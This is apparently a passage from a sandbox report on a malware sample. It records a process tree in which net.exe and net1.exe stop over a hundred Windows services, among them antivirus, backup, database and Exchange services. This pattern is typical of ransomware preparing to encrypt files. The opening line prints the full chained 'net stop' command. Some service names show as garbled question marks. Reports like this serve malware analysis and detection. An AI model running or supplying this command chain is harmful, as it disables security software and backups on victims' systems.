& net stop mfevtp /y & net stop MMS /y & net stop mozyprobackup /y & net stop MsDtsServer /y & net stop MsDtsServer100 /y & net stop MsDtsServer110 /y & net stop MSExchangeES /y & net stop MSExchangeIS /y & net stop MSExchangeMGMT /y & net stop MSExchangeMTA /y & net stop MSExchangeSA /y & net stop MSExchangeSRS /y & net stop MSOLAP $ SQL_2008 /y & net stop MSOLAP $ SYSTEM_BGC /y & net stop MSOLAP $ TPS /y & net stop MSOLAP $ TPSAMA /y & net stop MSSQL $ BKUPEXEC /y & net stop MSSQL $ ECWDB2 /y & net stop MSSQL $ PRACTICEMGT /y & net stop MSSQL $ PRACTTICEBGC /y & net stop MSSQL $ PROFXENGAGEMENT /y & net stop MSSQL $ SBSMONITORING /y & net stop MSSQL $ SHAREPOINT /y & net stop MSSQL $ SQL_2008 /y & net stop MSSQL $ SYSTEM_BGC /y & net stop MSSQL $ TPS /y & net stop MSSQL $ TPSAMA /y & net stop MSSQL $ VEEAMSQL2008R2 /y & net stop MSSQL $ VEEAMSQL2012 /y & net stop MSSQLFDLauncher /y & net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y & net stop MSSQLFDLauncher $ SBSMONITORING /y & net stop MSSQLFDLauncher $ SHAREPOINT /y & net stop MSSQLFDLauncher $ SQL_2008 /y & net stop MSSQLFDLauncher $ SYSTEM_BGC /y & net stop MSSQLFDLauncher $ TPS /y & net stop MSSQLFDLauncher $ TPSAMA /y & net stop MSSQLSERVER /y & net stop MSSQLServerADHelper100 /y & net stop MSSQLServerOLAPService /y & net stop MySQL80 /y & net stop MySQL57 /y & net stop ntrtscan /y & net stop OracleClientCache80 /y & net stop PDVFSService /y & net stop POP3SVC /y & net stop ReportServer /y & net stop ReportServer $ SQL_2008 /y & net stop ReportServer $ SYSTEM_BGC /y & net stop ReportServer $ TPS /y & net stop ReportServer $ TPSAMA /y & net stop RESVC /y & net stop sacsvr /y & net stop SamSs /y & net stop SAVAdminService /y & net stop ????????? /y & net stop SDRSVC /y & net stop SepMasterService /y & net stop ShMonitor /y & net stop Smcinst /y & net stop SmcService /y & net stop SMTPSVC /y & net stop SNAC /y & net stop SntpService /y & net stop sophossps /y & net stop SQLAgent $ BKUPEXEC /y & net stop SQLAgent $ ECWDB2 /y & net stop SQLAgent $ PRACTTICEBGC /y & net stop SQLAgent $ PRACTTICEMGT /y & net stop SQLAgent $ PROFXENGAGEMENT /y & net stop SQLAgent $ SBSMONITORING /y & net stop SQLAgent $ SHAREPOINT /y & net stop SQLAgent $ SQL_2008 /y & net stop SQLAgent $ SYSTEM_BGC /y & net stop SQLAgent $ TPS /y & net stop SQLAgent $ TPSAMA /y & net stop SQLAgent $ VEEAMSQL2008R2 /y & net stop SQLAgent $ VEEAMSQL2012 /y & net stop SQLBrowser /y & net stop SQLSafeOLRService /y & net stop SQLSERVERAGENT /y & net stop SQLTELEMETRY /y & net stop SQLTELEMETRY $ ECWDB2 /y & net stop SQLWriter /y & net stop SstpSvc /y & net stop svcGenericHost /y & net stop swi_filter /y & net stop swi_service /y & net stop swi_update_64 /y & net stop TmCCSF /y & net stop tmlisten /y & net stop TrueKey /y & net stop TrueKeyScheduler /y & net stop TrueKeyServiceHelper /y & net stop UI0Detect /y & net stop VeeamBackupSvc /y & net stop VeeamBrokerSvc /y & net stop VeeamCatalogSvc /y & net stop VeeamCloudSvc /y & net stop VeeamDeploymentService /y & net stop VeeamDeploySvc /y & net stop VeeamEnterpriseManagerSvc /y & net stop VeeamMountSvc /y & net stop VeeamNFSSvc /y & net stop VeeamRESTSvc /y & net stop VeeamTransportSvc /y & net stop W3svc /y & net stop wbengine /y & net stop WRSVC /y & net stop MSSQL $ VEEAMSQL2008R2 /y & net stop SQLAgent $ VEEAMSQL2008R2 /y & net stop VeeamHvIntegrationSvc /y & net stop swi_update /y & net stop SQLAgent $ CXDB /y & net stop SQLAgent $ CITRIX_METAFRAME /y & net stop SQL ???????? /y & net stop MSSQL $ PROD /y & net stop Zoolz 2 ?????? /y & net stop MSSQLServerADHelper /y & net stop SQLAgent $ PROD /y & net stop msftesql $ PROD /y & net stop NetMsmqActivator /y & net stop EhttpSrv /y & net stop ekrn /y & net stop ESHASRV /y & net stop MSSQL $ SOPHOS /y & net stop SQLAgent $ SOPHOS /y & net stop AVP /y & net stop klnagent /y & net stop MSSQL $ SQLEXPRESS /y & net stop SQLAgent $ /y & net stop SQLEXPRESS /y & net stop wbengine /y & net stop kavfsslp /y & net stop KAVFSGT /y
2⤵
- Suspicious use of WriteProcessMemory
PID:204

C:\Windows\SysWOW64\net.exe
net stop Acronis VSS Provider /y
3⤵
- Suspicious use of WriteProcessMemory
PID:2180

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Acronis VSS Provider /y
4⤵
PID:2188

C:\Windows\SysWOW64\net.exe
net stop Enterprise Client Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:3468

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Enterprise Client Service /y
4⤵
PID:1328

C:\Windows\SysWOW64\net.exe
net stop Sophos Agent /y
3⤵
- Suspicious use of WriteProcessMemory
PID:3140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Agent /y
4⤵
PID:1144

C:\Windows\SysWOW64\net.exe
net stop Sophos AutoUpdate Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:2204

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos AutoUpdate Service /y
4⤵
PID:1140

C:\Windows\SysWOW64\net.exe
net stop Sophos Clean Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Clean Service /y
4⤵
PID:1768

C:\Windows\SysWOW64\net.exe
net stop Sophos Device Control Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:2828

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Device Control Service /y
4⤵
PID:3844

C:\Windows\SysWOW64\net.exe
net stop Sophos File Scanner Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:3872

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos File Scanner Service /y
4⤵
PID:3952

C:\Windows\SysWOW64\net.exe
net stop Sophos Health Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:3236

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Health Service /y
4⤵
PID:776

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Agent /y
3⤵
- Suspicious use of WriteProcessMemory
PID:2212

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Agent /y
4⤵
PID:2140

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Client /y
3⤵
- Suspicious use of WriteProcessMemory
PID:4064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Client /y
4⤵
PID:4068

C:\Windows\SysWOW64\net.exe
net stop Sophos Message Router /y
3⤵
PID:3976

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Message Router /y
4⤵
PID:696

C:\Windows\SysWOW64\net.exe
net stop Sophos SafeStore Service /y
3⤵
PID:364

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos SafeStore Service /y
4⤵
PID:2792

C:\Windows\SysWOW64\net.exe
net stop Sophos Protection System Service /y
3⤵
PID:3300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Protection System Service /y
4⤵
PID:3172

C:\Windows\SysWOW64\net.exe
net stop Sophos Web Control Service /y
3⤵
PID:3720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Web Control Service /y
4⤵
PID:1636

C:\Windows\SysWOW64\net.exe
net stop SQLsafe ?????????? ??????????? ?????? /y
3⤵
PID:1104

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe ?????????? ??????????? ?????? /y
4⤵
PID:3536

C:\Windows\SysWOW64\net.exe
net stop SQLsafe Filter Service /y
3⤵
PID:3540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe Filter Service /y
4⤵
PID:2236

C:\Windows\SysWOW64\net.exe
net stop Symantec System Recovery /y
3⤵
PID:2948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Symantec System Recovery /y
4⤵
PID:1720

C:\Windows\SysWOW64\net.exe
net stop Veeam Backup Service Data Catalog /y
3⤵
PID:3592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Veeam Backup Service Data Catalog /y
4⤵
PID:1340

C:\Windows\SysWOW64\net.exe
net stop AcronisAgent /y
3⤵
PID:1496

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
4⤵
PID:2836

C:\Windows\SysWOW64\net.exe
net stop AcrSch2Svc /y
3⤵
PID:680

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
4⤵
PID:2820

C:\Windows\SysWOW64\net.exe
net stop Antivirus /y
3⤵
PID:1216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Antivirus /y
4⤵
PID:2252

C:\Windows\SysWOW64\net.exe
net stop ARSM /y
3⤵
PID:3500

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ARSM /y
4⤵
PID:1548

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentAccelerator /y
3⤵
PID:1540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
4⤵
PID:4032

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentBrowser /y
3⤵
PID:1140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
4⤵
PID:2508

C:\Windows\SysWOW64\net.exe
net stop BackupExecDeviceMediaService /y
3⤵
PID:1768

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
4⤵
PID:2832

C:\Windows\SysWOW64\net.exe
net stop BackupExecJobEngine /y
3⤵
PID:1452

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
4⤵
PID:3844

C:\Windows\SysWOW64\net.exe
net stop BackupExecManagementService /y
3⤵
PID:3952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
4⤵
PID:3412

C:\Windows\SysWOW64\net.exe
net stop BackupExecRPCService /y
3⤵
PID:2976

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
4⤵
PID:2172

C:\Windows\SysWOW64\net.exe
net stop BackupExecVSSProvider /y
3⤵
PID:2140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
4⤵
PID:3984

C:\Windows\SysWOW64\net.exe
net stop bedbg /y
3⤵
PID:4068

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop bedbg /y
4⤵
PID:2960

C:\Windows\SysWOW64\net.exe
net stop DCAgent /y
3⤵
PID:696

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DCAgent /y
4⤵
PID:3404

C:\Windows\SysWOW64\net.exe
net stop EPSecurityService /y
3⤵
PID:2792

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPSecurityService /y
4⤵
PID:1008

C:\Windows\SysWOW64\net.exe
net stop EPUpdateService /y
3⤵
PID:68

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPUpdateService /y
4⤵
PID:3300

C:\Windows\SysWOW64\net.exe
net stop EraserSvc11710 /y
3⤵
PID:1640

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EraserSvc11710 /y
4⤵
PID:1336

C:\Windows\SysWOW64\net.exe
net stop EsgShKernel /y
3⤵
PID:3840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EsgShKernel /y
4⤵
PID:3560

C:\Windows\SysWOW64\net.exe
net stop FA_Scheduler /y
3⤵
PID:1104

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FA_Scheduler /y
4⤵
PID:4080

C:\Windows\SysWOW64\net.exe
net stop IISAdmin /y
3⤵
PID:3320

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IISAdmin /y
4⤵
PID:1868

C:\Windows\SysWOW64\net.exe
net stop IMAP4Svc /y
3⤵
PID:768

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IMAP4Svc /y
4⤵
PID:2948

C:\Windows\SysWOW64\net.exe
net stop macmnsvc /y
3⤵
PID:1448

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop macmnsvc /y
4⤵
PID:3584

C:\Windows\SysWOW64\net.exe
net stop masvc /y
3⤵
PID:1616

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop masvc /y
4⤵
PID:3260

C:\Windows\SysWOW64\net.exe
net stop MBAMService /y
3⤵
PID:1760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBAMService /y
4⤵
PID:2816

C:\Windows\SysWOW64\net.exe
net stop MBEndpointAgent /y
3⤵
PID:1924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBEndpointAgent /y
4⤵
PID:1316

C:\Windows\SysWOW64\net.exe
net stop McAfeeEngineService /y
3⤵
PID:3756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeEngineService /y
4⤵
PID:648

C:\Windows\SysWOW64\net.exe
net stop McAfeeFramework /y
3⤵
PID:2156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFramework /y
4⤵
PID:3468

C:\Windows\SysWOW64\net.exe
net stop McAfeeFrameworkMcAfeeFramework /y
3⤵
PID:2232

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
4⤵
PID:3364

C:\Windows\SysWOW64\net.exe
net stop McShield /y
3⤵
PID:3140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McShield /y
4⤵
PID:1820

C:\Windows\SysWOW64\net.exe
net stop McTaskManager /y
3⤵
PID:2204

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McTaskManager /y
4⤵
PID:3692

C:\Windows\SysWOW64\net.exe
net stop mfemms /y
3⤵
PID:904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfemms /y
4⤵
PID:2308

C:\Windows\SysWOW64\net.exe
net stop mfevtp /y
3⤵
PID:3176

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfevtp /y
4⤵
PID:1784

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPS /y
4⤵
PID:2276

C:\Windows\SysWOW64\net.exe
net stop MMS /y
3⤵
PID:3888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MMS /y
4⤵
PID:2276

C:\Windows\SysWOW64\net.exe
net stop mozyprobackup /y
3⤵
PID:2144

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mozyprobackup /y
4⤵
PID:2952

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer /y
3⤵
PID:776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer /y
4⤵
PID:2192

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer100 /y
3⤵
PID:2228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer100 /y
4⤵
PID:2196

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer110 /y
3⤵
PID:380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer110 /y
4⤵
PID:3980

C:\Windows\SysWOW64\net.exe
net stop MSExchangeES /y
3⤵
PID:632

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeES /y
4⤵
PID:504

C:\Windows\SysWOW64\net.exe
net stop MSExchangeIS /y
3⤵
PID:1012

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeIS /y
4⤵
PID:3824

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMGMT /y
3⤵
PID:2608

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMGMT /y
4⤵
PID:1000

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMTA /y
3⤵
PID:968

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMTA /y
4⤵
PID:392

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSA /y
3⤵
PID:1288

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSA /y
4⤵
PID:3816

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSRS /y
3⤵
PID:3504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSRS /y
4⤵
PID:3184

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SQL_2008 /y
3⤵
PID:3548

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SQL_2008 /y
4⤵
PID:1164

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SYSTEM_BGC /y
3⤵
PID:3652

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SYSTEM_BGC /y
4⤵
PID:1512

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPS /y
3⤵
PID:2572

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPS /y
4⤵
PID:1340

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPSAMA /y
3⤵
PID:3584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPSAMA /y
4⤵
PID:3260

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ BKUPEXEC /y
3⤵
PID:1616

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ BKUPEXEC /y
4⤵
PID:2864

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ ECWDB2 /y
3⤵
PID:2816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ ECWDB2 /y
4⤵
PID:1316

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTICEMGT /y
3⤵
PID:1924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTICEMGT /y
4⤵
PID:2244

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTTICEBGC /y
3⤵
PID:3756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTTICEBGC /y
4⤵
PID:3468

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROFXENGAGEMENT /y
3⤵
PID:2156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROFXENGAGEMENT /y
4⤵
PID:3364

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SBSMONITORING /y
3⤵
PID:2232

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SBSMONITORING /y
4⤵
PID:1820

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SHAREPOINT /y
3⤵
PID:3140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SHAREPOINT /y
4⤵
PID:3692

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQL_2008 /y
3⤵
PID:2204

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQL_2008 /y
4⤵
PID:2308

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SYSTEM_BGC /y
3⤵
PID:904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SYSTEM_BGC /y
4⤵
PID:1784

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPS /y
3⤵
PID:3176

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPSAMA /y
3⤵
PID:3888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPSAMA /y
4⤵
PID:2952

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:2144

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
4⤵
PID:2192

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2012 /y
3⤵
PID:776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2012 /y
4⤵
PID:2196

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher /y
3⤵
PID:2228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher /y
4⤵
PID:3980

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
3⤵
PID:380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
4⤵
PID:504

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SBSMONITORING /y
3⤵
PID:632

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SBSMONITORING /y
4⤵
PID:3824

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SHAREPOINT /y
3⤵
PID:1012

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SHAREPOINT /y
4⤵
PID:3172

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SQL_2008 /y
3⤵
PID:1504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SQL_2008 /y
4⤵
PID:68

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SYSTEM_BGC /y
3⤵
PID:3648

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SYSTEM_BGC /y
4⤵
PID:1640

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Smcinst /y
4⤵
PID:2964

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPS /y
3⤵
PID:508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPS /y
4⤵
PID:2964

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPSAMA /y
3⤵
PID:3184

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPSAMA /y
4⤵
PID:1164

C:\Windows\SysWOW64\net.exe
net stop MSSQLSERVER /y
3⤵
PID:2948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLSERVER /y
4⤵
PID:1720

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper100 /y
3⤵
PID:1620

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
4⤵
PID:1040

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerOLAPService /y
3⤵
PID:1340

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
4⤵
PID:3260

C:\Windows\SysWOW64\net.exe
net stop MySQL80 /y
3⤵
PID:3584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL80 /y
4⤵
PID:2820

C:\Windows\SysWOW64\net.exe
net stop MySQL57 /y
3⤵
PID:2864

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL57 /y
4⤵
PID:1316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ ECWDB2 /y
4⤵
PID:2180

C:\Windows\SysWOW64\net.exe
net stop ntrtscan /y
3⤵
PID:2816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ntrtscan /y
4⤵
PID:2244

C:\Windows\SysWOW64\net.exe
net stop OracleClientCache80 /y
3⤵
PID:1924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OracleClientCache80 /y
4⤵
PID:2256

C:\Windows\SysWOW64\net.exe
net stop PDVFSService /y
3⤵
PID:3468

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
4⤵
PID:3364

C:\Windows\SysWOW64\net.exe
net stop POP3SVC /y
3⤵
PID:2156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop POP3SVC /y
4⤵
PID:1820

C:\Windows\SysWOW64\net.exe
net stop ReportServer /y
3⤵
PID:2232

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer /y
4⤵
PID:3692

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SQL_2008 /y
3⤵
PID:3140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SQL_2008 /y
4⤵
PID:2308

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SYSTEM_BGC /y
3⤵
PID:2204

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SYSTEM_BGC /y
4⤵
PID:1784

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPS /y
3⤵
PID:904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPS /y
4⤵
PID:2276

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPSAMA /y
3⤵
PID:3176

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPSAMA /y
4⤵
PID:2952

C:\Windows\SysWOW64\net.exe
net stop RESVC /y
3⤵
PID:3888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RESVC /y
4⤵
PID:2192

C:\Windows\SysWOW64\net.exe
net stop sacsvr /y
3⤵
PID:2144

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sacsvr /y
4⤵
PID:2196

C:\Windows\SysWOW64\net.exe
net stop SamSs /y
3⤵
PID:776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SamSs /y
4⤵
PID:3980

C:\Windows\SysWOW64\net.exe
net stop SAVAdminService /y
3⤵
PID:2228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SAVAdminService /y
4⤵
PID:504

C:\Windows\SysWOW64\net.exe
net stop ????????? /y
3⤵
PID:380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ????????? /y
4⤵
PID:364

C:\Windows\SysWOW64\net.exe
net stop SDRSVC /y
3⤵
PID:3824

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SDRSVC /y
4⤵
PID:2608

C:\Windows\SysWOW64\net.exe
net stop SepMasterService /y
3⤵
PID:4040

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SepMasterService /y
4⤵
PID:968

C:\Windows\SysWOW64\net.exe
net stop ShMonitor /y
3⤵
PID:1504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ShMonitor /y
4⤵
PID:1640

C:\Windows\SysWOW64\net.exe
net stop Smcinst /y
3⤵
PID:3648

C:\Windows\SysWOW64\net.exe
net stop SmcService /y
3⤵
PID:508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SmcService /y
4⤵
PID:3128

C:\Windows\SysWOW64\net.exe
net stop SMTPSVC /y
3⤵
PID:1868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SMTPSVC /y
4⤵
PID:3320

C:\Windows\SysWOW64\net.exe
net stop SNAC /y
3⤵
PID:1124

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SNAC /y
4⤵
PID:3592

C:\Windows\SysWOW64\net.exe
net stop SntpService /y
3⤵
PID:1620

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SntpService /y
4⤵
PID:3260

C:\Windows\SysWOW64\net.exe
net stop sophossps /y
3⤵
PID:1340

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophossps /y
4⤵
PID:2820

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ BKUPEXEC /y
3⤵
PID:3584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ BKUPEXEC /y
4⤵
PID:1316

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ ECWDB2 /y
3⤵
PID:2864

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEBGC /y
3⤵
PID:2244

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEBGC /y
4⤵
PID:1308

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEMGT /y
3⤵
PID:2256

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEMGT /y
4⤵
PID:3364

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROFXENGAGEMENT /y
3⤵
PID:2068

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROFXENGAGEMENT /y
4⤵
PID:2064

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SBSMONITORING /y
3⤵
PID:3876

C:\Windows\SysWOW64\net1.exe
